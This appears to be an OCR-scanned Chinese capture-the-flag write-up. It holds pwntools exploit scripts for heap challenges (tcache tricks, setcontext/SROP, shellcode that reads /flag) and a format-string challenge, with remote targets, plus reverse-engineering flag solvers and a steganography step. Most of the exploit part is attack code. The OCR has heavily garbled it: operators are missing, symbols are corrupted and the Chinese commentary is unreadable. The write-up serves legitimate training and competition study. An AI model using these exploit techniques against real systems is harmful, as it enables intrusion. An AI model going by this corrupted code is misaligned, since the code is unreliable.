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unsigned __inféﬂ v5; }f-:“z:—ii“: [rbp-8h]

I v5 = _ readfsqword(@x28u);
il puts("Index of order:");
read(@, &but, 4dull);

1 = atoi(&but);
oif (vi<@ || vi>15)
Ho{
j puts("Out of index!\n"};
)
I else if ( gword_282868[v1] )
3o

; *(_QWORD *)v2 = v3;

l puts{"Order notes:");
} my_read(*(void **)v2, *(_QWORD *){vZ2 + 8));
) puts{"Done!\n"};
y ¥
3 else
{

(R

puts{"Can not edit this order!");
¥

from pwn import

r remote("183.129.189.60", 10028)

#r = process("./oooorder/oooorder")

context(log_level 'debug', arch ‘amd64', os 'linux")
DEBUG 0

if DEBUG:

gdb.attach(r,

b *$rebase(0x1355)

C

elf ELF("./oooorder/oooorder™)
libc ELF('./oooorder/libc-2.27.s0")
one_gadget 18 [0x4f2c5,0x41322,0x10a38C ]

menu "Your choice :\n"

def add(size, payload):

r.recvuntil(menu)

r.sendline('1")

r.recvuntil("How much is the order?\n")
r.sendline(str(size))
r.recvuntil("Order notes:\n")
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def delete(index):
r.recvuntil(menu)
r.sendline('4")
r.recvuntil("Index of order:\n")
Iy

.sendline(str(index))

def show():
r.recvuntil(menu)
r.sendline('3")

def edit(index, content):
r.recvuntil(menu)
r.sendline('2")
.recvuntil("Index of order:\n")
.sendline(str(index))
.recvuntil("Order notes:\n")
.send(content)

for i in range(8):
add(0x1308, 'KMFL')

for i in range(8):
delete(7-1)

for i in range(7):
add(ox130, 'a'*8)

malloc_hook ub4(r.recvuntil('\x7f"').1just(8, '\x00"))
libc.address malloc_hook libc.sym['_malloc_hook"]
success("libc:"+hex(libc.address))

system libc.sym[ 'system']

free_hook libc.sym['__free_hook"]

set_context libc.symbols[ 'setcontext’]

new_addr free_hook &OxFFFFFFFFFFFFFO00

mov rsi,%d
mov edx,0x1000




SigreturnFrame()
.rsp = free_hook+0x10
.rdi new_addr
.rsi 0x1000
.rdx = 7
[P libc.sym[ ‘mprotect’]

shellcode2 .
ox67616c662f ;// /flag

rsp ;// /flag

© ;// O_RDONLY
rdx ;

2 ;// SYS_open

rax ;// fd
rsi,rsp ;
rdx, 1024 ;// nbytes
rax,@ ;// SYS_read

1;// fd

rsp ;// buf

rax ;// count

1 ;// SYS_write

© ;// error_code
60

add 8

.recvuntil(menu)

.sendline('1")

.recvuntil("How much is the order?\n")
.sendline('0")

delete 8

.recvuntil(menu)

.sendline('2")
.recvuntil("Index of order:\n")
.sendline('8")

delete 8
r.recvuntil(menu)
.sendline('2")




('[81:")
ubd(r.recv(6).ljust(8, '\x00'))
("heap:"+hex(heap))

heap - 0xd80
("heap_base:"+hex(heap_base))

edit(5, str(frame))

delete(6)

add(0x10, p64(heap_base+0xe0))
add(0x19, p64(free_hook)*2)

payload = p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcodel)
add(0x130, payload)

delete(5)

r.sendline(asm(shellcode2))

r.interactive()

from pwn import

r remote("183.129.189.60", 10029)

#r = process("./springboard")

gdb.attach(r,

b *$rebase(0x956)

b *$rebase(0x97F)

C

)
context.log_level 'debug'’
libc ELF("./1libc/1libc-2.27.s0")

r.recvuntil("input your name:")
SENARCETs) '%11$p\n%13$p\n"’
r.sendline(payload)

r.recvuntil("your name:\n")

libc.address int(r.recvuntil('\n").strip(), 16) 231 libc.sym['_libc_start_main']

one_gadget_18 [6x4f2c5,0x41322,0x10a38cC ]
malloc_hook = libc.sym['__malloc_hook" ]
one_gadget = one_gadget 18[2] libc.address
success("one_gadget:"+hex(one_gadget))
int(r.recvuntil('\n").strip(), 16)
stack oxeo
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success("ret:"+hex(ret_addr))

num ret_addr & OxFFFF
r.recvuntil("input your name:")
payload %" str(num) 'c%13$hn\n"
r.sendline(payload)

num = one_gadget OxXFFFF
r.recvuntil("input your name:")
payload %" str(num) 'c%39%hn\n"
r.sendline(payload)

num ret_addr+2 OXFFFF
r.recvuntil("input your name:")
payload %" str(num) 'c%13$hn\n"
r.sendline(payload)

num (one_gadget>>16) OXFFFF
r.recvuntil("input your name:")
payload %" str(num) 'c%39%hn\n"
r.sendline(payload)

for i in range(3):
r.recvuntil("input your name:")
payload -EEEEEEER
r.sendline(payload)

r.interactive()

AN BB £ AF Ftcache stash unlink30x7f... 5 Flfree_hook®i T, #RJ5 & HMoooorder—#EI FpikitiTorw, SR —FF 44 F BT
tcachelflifi, SFEITZIESHNS, AHATAETY

from pwn import

#r = remote("127.0.0.1", 10027)
r process("./easyheap/pwn")
‘amdé4', os 'linux")

gdb.attach(r,

b *$rebase(0OxFCO)
C

R
context.log level 'debug'’

itelf = ELF("./easyheap/pwn")




ELF('./1libc/libc-2.27.s0")
one_gadget_ 18 [6x4f2c5,0x41322,0x10a38c ]
#r = remote("183.129.189.60", 10027)
menu "Your Choice: "
def add(index, size, name):

r.recvuntil(menu)
.sendline('1")
.recvuntil("index>> ")
.sendline(str(index))
.recvuntil("size>> ")
.sendline(str(size))
.recvuntil("name>> ")
.send(name)

def delete(index):
r.recvuntil(menu)
r.sendline('2")
r.recvuntil("index>> ")
r.sendline(str(index))

def show(index):

r.recvuntil(menu)
.sendline('3")

g
r.recvuntil("index>> ")
P

.sendline(str(index))

def edit(index, content):
r.recvuntil(menu)
.sendline('4")
.recvuntil("index>> ")
.sendline(str(index))
.recvuntil("name>> ")
.send(content)

for i in range(7):
add(@, @x1fe, 'KMFL')
delete(9)

for i in range(7):
add(@, ©x160, 'KMFL')
delete(9)

for i in range(7):
add(0, 0x80, 'KMFL')
delete(9)

for i in range(7):
add(i, ©x68, 'KMFL')
delete(i)

for i in range(7):
add(@, oxa0, 'KMFL'")
delete(9)

for i in range(6):

add (@, 0x90, 'KMFL'")
delete(9)

add (0, ox1f8, 'KMFL')
add(1, ox1fe, 'KMFL')
add(0x13, 0x10, 'KMFL')




add (9, Oxad, 'KMFL')

add(2, Oxa0, 'KMFL')

delete(9)

add(3, Ox98, 'a'*@x90 + p64(0x200))

delete(1)

add(0, 0x160, 'KMFL')

show(3)

r.recv(0x10)

malloc_hook = u64(r.recvuntil('\x7f"').1ljust(8, '\x00'))
libc.address malloc_hook libc.sym[ ' malloc_hook"]
success("libc:"+hex(libc.address))

system libc.sym[ "system' ]

free_hook libc.sym[ ' free_hook"]

set_context libc.symbols[ 'setcontext’]

new_addr free_hook &OxFFFFFFFFFFFFFO00

shellcodel A

xor rdi,rdi

mov rsi,%d

mov edx,0x1000

SigreturnFrame()
.rsp = free_hook+0x10
.rdi new_addr
-PSal 0x1000
.rdx = 7
.rip libc.sym[ "mprotect’]

shellcode2 e
0x67616c662f ;// /flag

rsp ;// /flag

© ;// O_RDONLY

rdx ;

0x40000002 ;// SYS_open

rdi, rax ;// fd

rsi,rsp ;
rdx, 1024 ;// nbytes
rax,@ ;// SYS_read

1;// fd

rsp ;// buf

rax ;// count

1 ;// SYS_write

@ ;// error_code
60




ox88, 'KMFL')

"KMFL')

add(4, ox1f8, 'KMFL')

add (5, 0x10, 'KMFL')

delete(4)

add(4, ©x150, 'KMFL')

add(6, 0x150, 'KMFL') # small bin 1

delete(9)
delete(1)
add (@, ©x150, 'KMFL')
(1, ox150, 'KMFL') # small bin 2

| ub4(r.recv(8))
success("fd:"+hex(smallbin_fd))

add(7, ©x1f8, 'KMFL')

add(8, Ox1fe, 'KMFL')

add(9, Ox1fe, 'KMFL')

delete(7)

add(7, ©xa®, 'KMFL')

add (10, @xde, 'KMFL')
"KMFL")

'a' *0x60+p64(0x200))

add(7, 0x180, 'KMFL')
add(8, 0x68, 'KMFL')

add (12, ox1f@, str(frame))
delete(8)

payload p64(smallbin_fd)+ p64(free_hook-0x20)
edit(3, payload)
add(0x11, ©x98, 'KMFL')

edit (11, p64(free_hook-0x13))
add (13, 0x68, 'KMFL')
payload 'a'*3 p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcodel)

add (14, 0x68, payload)

delete(12)
r.sendline(asm(shellcode2))

r.interactive()

E=Astremplis 5 T, )5 x/s $rdi, x/s$rsi ENAF Wflag




from pwn import

r process("./TOp_Gear")

context.log level 'debug'’
gdb.attach(r,

b *0x404DBA
b *Ox4064F5
b *0x404FBF
C

")

.recvuntil("2night,I drew a :")
.sendline("c92bb6a5")
.recvuntil("Richard steals some:")
.sendline("a6c30091")
.recvuntil("and James gets kicked in the:")
.sendline("24566d882d4bc7ee")
.interactive()

X BT T pythonZ iR, Kath—TF

stacksize 5

flags 0040

code
71030071000664Tf6400006401006c000053000064020053010065020064
03008301005a03006500006a040065030083010053050065060065050083
0100530700782700650800640400640500830200445d16005a0900650700
6509006302001964060037033c714900576407006a0a0065070083010053
Ob00650bOO6501006bO20072860064080047486e05006409004748640100
53

consts
-1
None
'YamaNalaZaTacaxaZaDahajaYamala®aNaDaUa3aYajaUawaNaWaNajaMajaUawaNWI3M2NhMGM="
'"Are u ready?'
0]
32

'great!waht u input is the flag u wanna get.’
'pity!’
names ('base64', 'a', 'raw_input', 'flag', 'b64dencode', 'c', 'list', 'd', 'range', 'i', 'jo
in', 'ohh") https:/iblog.csdn.net/weixin_44145820
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710300

710006

64ff

640000 LOAD_CONST 0 -1
640100 LOAD_CONST 1 None
6c0000 IMPORT_NAME 0 base64
5a0000 STORE_NAME 0

640200 LOAD_CONST 2 ‘base64=’
5a0100 STORE_NAME 1 a
650200 LOAD_NAME 2 raw_input()
640300 LOAD_CONST 3 ‘ready?’
830100 CALL_FUNCTION 1
5a0300 STORE_NAME 3 flag
650000 LOAD_NAME 0 base64
6a0400 LOAD_ATTR 4 b64encode
650300 LOAD_NAME 3 flag
830100 CALL_FUNCTION 1
5a0500 STORE_NAME 5 ¢
650600 LOAD_NAME 6 list
650500 LOAD_NAME 5 ¢

830100 CALL_FUNCTION 1
5a0700 STORE_NAME 7 d
782700

650800 LOAD_NAME 8 range
640400 LOAD_CONST 4 0
640500 LOAD_CONST 5 32
830200 CALL_FUNCTION 2

44 GET_ITER

5d1700 FOR_ITER 22

520900 STORE_NAME 9 i
650700 LOAD_NAME 7 d
650900 LOAD_NAME 9 i

630200

19

640600 LOAD_CONST 6 ‘@’
37033c

714900 JUMP_ABSOLUTE 73

57 POP_BLOCK

640700 LOAD_CONST 7 “
6a0a00 LOAD_ATTR 10 join
650700 LOAD_NAME 7 d
830100 CALL_FUNCTION
5a0b00 STORE_NAME 11 ohh
650000 LOAD_NAME 11 ohh
650100 LOAD_NAME 1 a
6b0200 COMPARE

728600 POP_HUMP_IF_FALSE
640800 LOAD_CONST 8 congratulation
47

48

6e0500 JMP to 55

640900 LOAD_CONST 9 pity

47

48

640100

53
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El 'YamaNalaZaTacaxaZaDahajaYamaIa®aNaDaUa3aYajaUawaNaWaNajaMajaUawaNWI3M2NhMGM="
flag raw_input('Are u ready?')
C base64.b64dencode(flag)
d list(c)
for i in range(@, 32):
d[i] 'a'

ohh ''.join(d)
if ohh a:
print('great!waht u input is the flag u wanna get.')

else:
print('pity!")

#YmMNLZTcxZDhjYmIONDU3YjUwWNWN MGUwWNWI 3M2NhMGM=

base64f#— T i &flag
521

FERRFE R BB, AR — L — BB



import string

result = ['Ox80', 'Ox59', 'Ox23', 'Ox35', 'Ox22', 'Ox73', 'Ox8d', '@Oxla’', 'Ox51', 'Ox5d', 'Ox30', 'Oxe8', 'OX57'
, 'Ox26', 'exfe', 'Ox7', '@xc6', 'Ox92', 'Ox5e', 'oOxdc', 'Ox83', 'oxif', 'Ox76', 'Ox92', 'Ox25', 'Oxf', 'Ox65',
'oxfb', 'Ox2e', 'ox4d', 'ox6b', 'Ox45', 'Ox3', 'Ox87', 'Oxe9', 'Ox9of', 'ox22']

strl "Nep{00000000000000000000000000000000 } "

a = []

for i in stri:

a.append(i)

print a

def exchange(indexl, index2, arrayl):
tmp = arrayl[index1]

arrayl[index1] arrayl[index2]
arrayl[index2] tmp

return arrayl

def calculate(flag):

arrayl [6x1a,0x32,0x4a,0x3b,0x30,0xa5,0x7f,0xf0,0xc4,0x48,0xe5,0x52,0xc7,0x53,0xc0,0x2d,0xbe,0xec,0x6d,0x35,9
xbl,0x04,0x18,0x2e,0xb5,0x44,0x15,0x57,0xdc,0x9f,0xe2,0x42,0xff,0x22,0x4d,0xa6,0x33,0x5f,0x5c,0x8e,0x3f,0x4c,0xa
8,0xfe,0xlc,0Ox7e,0x24,0x6C,0x6a,0x9c,0x67,0xal,0x50,0xc5,0x47,0x02,0xcl,0x26,0x16,0x55,0xc6,0xcd,Oxaa,0x8a,0xdl,
Ox74,0x77,0xd8,0x68,0xfc,0x19,0xcc,0xe7,0x88,0xb7,0xe6,0x3e,0x70,0x86,0x9¢e,0x98,0xe4,0x58,0x56,0xca,0x95,0xb2,0x
51,0xaf,0xd3,0x6b,0x28,0x8b,0xee,O0xbc,0x9b,0x85,0x62,0x65,0x20,0xe0,0x84,0xbf,0x25,0x59,0xba,0x46,0xb8,0x2a,0x2b
,0xf1,0x3d,0xbo,0x7a,0xeb,0x38,0x5a,0x41,0x8d,0x0c,0x07,0x81,0x79,0x12,0x40,0x1b,0xf8,0xed,0x82,0x8f,0xd4,0x94, 9
XC8,0x0e,0xe3,0x10,0xb4d,0x39,0x3c,0x54,0x5b,0x4f,0xf9,0xfa,0x08,0xbd,0xf4,0x5d,0x91,0x1f,0x7c,0x8C,0x66,0xce,0x7
b,0x99,0xc3,0xd6,0x29,0xa2,0xab,0xc9,0xde,0xcf,0xdb,0xf6,0xa3,0x03,0xb9,0xa7,0xea,0x69,0x05,0x1d,0xef,0x0b,0x23,
©x11,0x37,0x21,0x1le,0xbb,0x17,0xd2,0xb3,0xde,0x2c,0x63,0x64,0x09,0x78,0x61,0xcb,0xad,0x9a,0xas,0xf3,0x0a,0xa0,0Ox
14,0xf2,0x92,0x0d,0x5e,0xa9,0xd5,0x90,0x96,0x6f,0x36,0xfd,0x76,0x45,0xda,0x01,0xf5,0x0f,0xb6,0x34,0x3a,0xdd, 0xd9
,0xd7,0xac,0xfb,0x80,0xdf,0x27,0x13,0x93,0x87,0x72,0x89,0x49,0x73,0x71,0x7d,0x06,0x9d,0x00,0x83,0xe8,0xc2,0x75, 9
xae,0xf7,0x97,0x60,0xel,0xd9,0x2f,0x6e,0x4b,0x31,0xe9 |

ans [1]

v6

\4

for i in range(37):

V6 1

v5 (%]

% (v7 + arrayl[v6])&OxFF

arrayl = exchange(v6, v7, arrayl)

num (arrayl[vé6] arrayl[v7]) OXFF

res = ord(flag[i]) arrayl[num]

ans.append(hex(res))

return ans

for i in range(4, 37):
for char in string.printable:
ali] char
#print a
tmp_flag ''.join(a)
tmp_res = calculate(tmp_flag)
if int(tmp_res[i], 16) int(result[i], 16):
print tmp_flag
break
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for (1 =31; vo < 1i; --1)

{
if ( (byte_404004[1] ~ byte_484004[v5]) != *(&v59 + v5) )
{
sub_401A20("No_need_to_scare");
return @;
¥
if ( (byte_404004[1] & byte_484004[v5]) != *(&vd3 + v5) )
{

sub_401A20("No_need_to_scare");

return @;
}
if ( (byte_404004[v5] & OxF) = *(&v11 + v5) || (byte _404004[1] & OxF) != *(&11 + i) )
{

sub_401A20("No_need to scare");

return @;

}

++v5;



guess_range = string.ascii_letters+string.digits
El 'Nep{mircle_and_maho_is not_free}"

guess.append(i)

rulel ['ex33', 'exe', 'ex15', 'ex9', 'exb', '6x36', '@x6', 'Oxc', 'Ox2', 'Ox3a', 'Ox2c', 'Ox8', 'oOx31', 'oxb’',
'Ox37', 'exc'] #°
rule2 ['ex4c', 'Ox65', 'Ox60', 'Ox72', 'oOx64', 'Ox49', 'Ox70', 'Ox63', 'Ox6c', 'Ox45', 'Ox53', 'Ox61l', 'Oxde’,
'ox64', 'ox48', 'Ox6l'] #&
['oxe', 'Ox5', 'exe', 'exb', 'exd', 'ex9', 'ex2', 'ex3', 'exc', 'ex5', 'exf', 'exi', 'exe', 'ex4', 'oxf'
'Ox8', 'exf', 'oexf', 'ex9', 'ex3', 'exf', 'oxe', 'oxf', 'ex4', 'exf', 'ex6', 'Ox2', 'Ox5', 'Ox5'

def guess _pos(i):
for i in range(i, i+1):
for chrl in guess_range:
for chr2 in guess_range:
guess[i] chril
guess[31-i] chr2
numl ord(chrl)
num2 = ord(chr2)
if (numl”num2==int(rulel[i], 16)) (numl&num2==int(rule2[i], 16)) (numl1&0OxF==int(rule3[i], 16))
num2&0xF==int(rule3[31-i], 16)):
print i, chrl, chr2
tmp_flag ''.join(guess)
print tmp_flag

for i in range(4, 16):
guess_pos(i)

'''addr = 0x4016DD

ans =

for i in range(32):
ans.append(hex(Byte(addr+4*i+3)))

print ans

7 AR IE 58— Mlag Xt 0x403000A0A% Btk T &2k, LA R K IE#IRES

unsigned int sub_403000()
{
unsigned int result; // eax
unsigned int i; // [esp+16h] [ebp-D8h]
int v2; // [esp+18h] [ebp-D6éh]
int v3; // [esp+1Ch] [ebp-CCh]
int v4; // [esp+26h] [ebp-C8h]
int v5; // [esp+24h] [ebp-C4h]




int v7; // [esp+2Ch] [ebp-BCh]
int v8; // [esp+36h] [ebp-B8h]
int v9; // [esp+34h] [ebp-B4h]
int v10; // [esp+38h] [ebp-Boh]
int v11; // [esp+3Ch] [ebp-ACh]
int v12; // [esp+46h] [ebp-A8h]
int v13; // [esp+44h] [ebp-A4h]
int v14; // [esp+48h] [ebp-A6h]
int v15; // [esp+4Ch] [ebp-9Ch]
int v16; // [esp+56h] [ebp-98h]
int v17; // [esp+54h] [ebp-94h]
int v18; // [esp+58h] [ebp-96h]
int v19; // [esp+5Ch] [ebp-8Ch]
int v20; // [esp+606h] [ebp-88h]
int v21; // [esp+64h] [ebp-84h]
int v22; // [esp+68h] [ebp-86h]
int v23; // [esp+6Ch] [ebp-7Ch]
int v24; // [esp+76h] [ebp-78h]
int v25; // [esp+74h] [ebp-74h]
int v26; // [esp+78h] [ebp-76h]
int v27; // [esp+7Ch] [ebp-6Ch]
int v28; // [esp+86h] [ebp-68h]
int v29; // [esp+84h] [ebp-64h]
int v30; // [esp+88h] [ebp-66h]
int v31; // [esp+8Ch] [ebp-5Ch]
int v32; // [esp+96h] [ebp-58h]
int v33; // [esp+94h] [ebp-54h]
int v34; // [esp+98h] [ebp-56h]
char v35[36]; // [esp+9Ch] [ebp-4Ch]
int v36; // [esp+CoOh] [ebp-28h]
int v37; // [esp+C4h] [ebp-24h]
int v38; // [esp+C8h] [ebp-26h]
int v39; // [esp+CCh] [ebp-1Ch]
__int16 v4@; // [esp+Doh] [ebp-18h]
char v4l; // [esp+D2h] [ebp-16h]
int v42; // [esp+D3h] [ebp-15h]
int v43; // [esp+D7h] [ebp-11h]
int v44; // [esp+DBh] [ebp-Dh]
__int16 v45; // [esp+DFh] [ebp-9h]




i)

result = strlen(byte_404004);
if (1 result )
break;
v35[i] ((_BYTE *)&v36 (signed int)i 18) ((_BYTE *)&v2 + 4 * i) byte_404004[i];
}

return result;

MR BT 8T SR RS Hiflag



rulel = ['Ox25', 'Ox6e', 'Ox31', 'Ox13', 'Ox2f', 'ox28',

'Ox36', 'Ox7', 'Ox3c', 'ex38', 'ex7f', '@x5d', 'ox54',
'ox36', 'ox49', 'exed', 'ox66', 'Ox7e']

'Sis puella magica!'’

'Nep{mircle_and_maho_is not_free}"'

for i in range(32):

numl ord(string[i%18])

num2 int(rulel[i], 16)

num3 ord(flag[i])

tmp numl”num2”num3
chr(tmp)

= 0x403014

0x4030DC

[]

in range(start, end, 10):
ans.append(hex(Byte(i+6)))

0x4030DC

0x403130

i in range(a, b, 7):
ans.append(hex(Byte(i+3)))

print ans

'Ox3c’,
'Oxle’,

'@x35",
'Oxla’,

"Ox34",
'ox2f"',

'0x30",
'ox3b",

'ox6d",
'ox2b",

'ox3b",
'Ox55",




MR 3% & H Fi StegsolveFalphaft, REUH—MEHE

504L030414000100 0B009aT76b350c4d7 PE...... TP
df85330000002800 00000£000000c3de B
c2ebcacTeee5705f 5£22747874515142 nep _ .txtQOB
deéldf2dcaSaad4dls lcklSakeaf2e7lal ...... M. ..Z..&q.
a%h9366d34874d50 Y9cbeafdbed253825 . .6m4.MP .n...%8%
8d7073dce2lledaB BaBkbe2l97967ThLO9BE .ps..... LVG. .
S504L01023£001400 01000B009aT6eb350 PE..7... ..... v.P
c4d7d£8533000000 2BO00O0000OEOD2400 [eennn 5.
QO00000000002000 000000000000c3de v vivee 4 wucmwunnn
c2ebcacTeee3T705f 5£22T7478740a0020 nep_ _.t=xt.
Bit Planes Order settings
Alpha [w|7 [¢]6 [v]5 [w]4 [W]3 [v]2 [v]1 [¢]0O Extract By @ Row () Column
Red []7 []6 []5 [14 [J3 [J2 [J1 []0 Bit Order (® MSBFirst ) LSB First
Green T 6 5 4 3 2 1 0
= L = L = L = = Bit Plane Order
Bwe []7 []6 []5 [J4 []3 [J2 1 [Jo @ RGB () GRB
) RBG ) BRG
Preview Setti
review ngs ) GBR ) BGR
Include Hex Dump In Preview
FHRSAL R, HEBRW, 193)%Enepnb
[=5] [  pe— |=u-!—lp FIT LA T 0 i L = ||Jm|_-'ar E
E=F RE=CE FHEE et
- (EREFR) MiFE
| =EEnep bt * atem a-tea
Bl )=
AT A S
FiEEnep_ixt
b
ETERE
EHEED fHEE e

d =B=nep_txt - igEE
SHE(F) RIB(E) FEIR(0) EE(V) EENH)
a22a96d7fc5dfd2182¢593630851e44fedOadbeb
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